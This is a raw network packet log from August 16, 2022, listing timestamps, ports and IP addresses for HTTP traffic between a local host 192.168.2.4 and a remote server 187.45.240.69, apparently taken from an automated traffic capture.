Aug 16, 2022 11:06:09.715424061 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715481043 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715511084 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715568066 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715576887 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715631008 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715662956 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715734959 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715744972 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715763092 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715789080 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715811968 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715831995 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715864897 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715862036 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715895891 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715903044 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715912104 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715939999 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.715948105 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.715986013 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716029882 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716034889 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716058016 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716083050 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716106892 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716113091 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716133118 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716145039 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716156960 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716157913 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716176033 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716207981 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716234922 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716264963 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716279030 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716299057 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716305017 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716331959 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716346025 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716357946 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716357946 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716378927 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716382980 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716413021 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716425896 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716451883 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716469049 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716476917 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716497898 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716523886 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716551065 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716555119 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716587067 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716629028 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716639042 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716665983 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716691017 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716717005 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716726065 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716744900 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716756105 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716772079 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716788054 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716799021 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716801882 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716826916 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716844082 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716856003 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716897964 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716917038 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716926098 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716948032 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716964960 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.716979980 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.716995955 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717001915 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717004061 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717015982 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717056036 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717063904 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717071056 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717092037 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717133045 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717147112 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717180967 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717190981 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717221022 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717235088 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717253923 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717263937 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717302084 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717317104 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717374086 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717392921 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717406988 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717420101 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717438936 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717441082 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717464924 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717492104 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717514038 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717535019 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717595100 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717596054 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717629910 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717667103 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717688084 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717694044 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717717886 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717742920 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717747927 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717765093 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717802048 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717839003 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717864990 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.717896938 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.717926979 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.865969896 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.866018057 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.866117954 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.866172075 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.884367943 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.953443050 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953476906 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953576088 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.953629017 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.953686953 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953711987 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953733921 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953756094 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953762054 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.953794003 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.953828096 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.953850985 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953883886 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953907967 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953932047 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953938961 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.953954935 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.953969955 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.953979015 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954000950 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954010010 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954026937 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954034090 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954051971 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954066038 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954077959 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954102039 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954108953 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954125881 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954133987 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954149961 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954173088 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954178095 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954195976 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954205036 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954220057 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954241991 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954246044 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954267025 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954282999 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954293013 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954315901 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954322100 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954339981 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954349041 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954365015 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954387903 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954391003 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954416037 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954417944 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954438925 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954444885 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954463959 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954466105 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954488039 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954493046 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954510927 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954514980 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954538107 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954539061 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954549074 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954562902 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954593897 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954627991 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954700947 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954725027 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954747915 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954787016 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954790115 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954839945 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954864025 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954904079 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954921007 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954926968 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954947948 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954952002 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954969883 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.954974890 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.954992056 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955013037 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955017090 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955044985 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955073118 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955091953 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955101013 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955125093 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955128908 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955157995 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955159903 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955183983 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955184937 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955209017 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955229044 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955235958 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955322981 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955373049 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955395937 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955425024 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955456018 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955486059 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955486059 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955512047 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955516100 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955544949 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955545902 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955568075 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955594063 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955600023 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955678940 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955684900 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955735922 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955755949 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955802917 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955804110 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955833912 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955835104 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955863953 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955869913 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955893040 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955914021 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955919981 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955960989 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.955962896 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.955991983 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956039906 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956041098 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956088066 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956116915 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956135988 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956145048 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956161976 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956173897 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956192017 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956202984 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956218958 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956231117 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956250906 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956259966 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956271887 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956290007 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956334114 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956356049 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956439018 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956470013 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956510067 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956516981 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956533909 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956576109 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956583023 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956634998 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956695080 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956696033 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956760883 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956789970 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956813097 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956840038 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956849098 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956882000 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956907034 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956958055 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.956973076 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.956990957 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957005978 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.957031012 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.957077980 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957107067 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957175970 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.957194090 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957222939 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957274914 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.957345963 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957376957 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957423925 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957433939 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.957473993 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957528114 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.957556963 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957587004 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957607985 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.957637072 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957639933 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.957686901 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957700014 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.957726002 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.957768917 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957835913 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.957895994 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.958216906 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958250046 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958314896 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.958324909 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958357096 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958372116 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.958400965 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.958425045 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958508015 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958564043 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.958566904 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958607912 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.958631992 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.958636999 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958703995 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958750010 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.958820105 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958859921 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958898067 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.958899975 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.958990097 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959028959 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959034920 CEST	49795	80	192.168.2.4	187.45.240.69
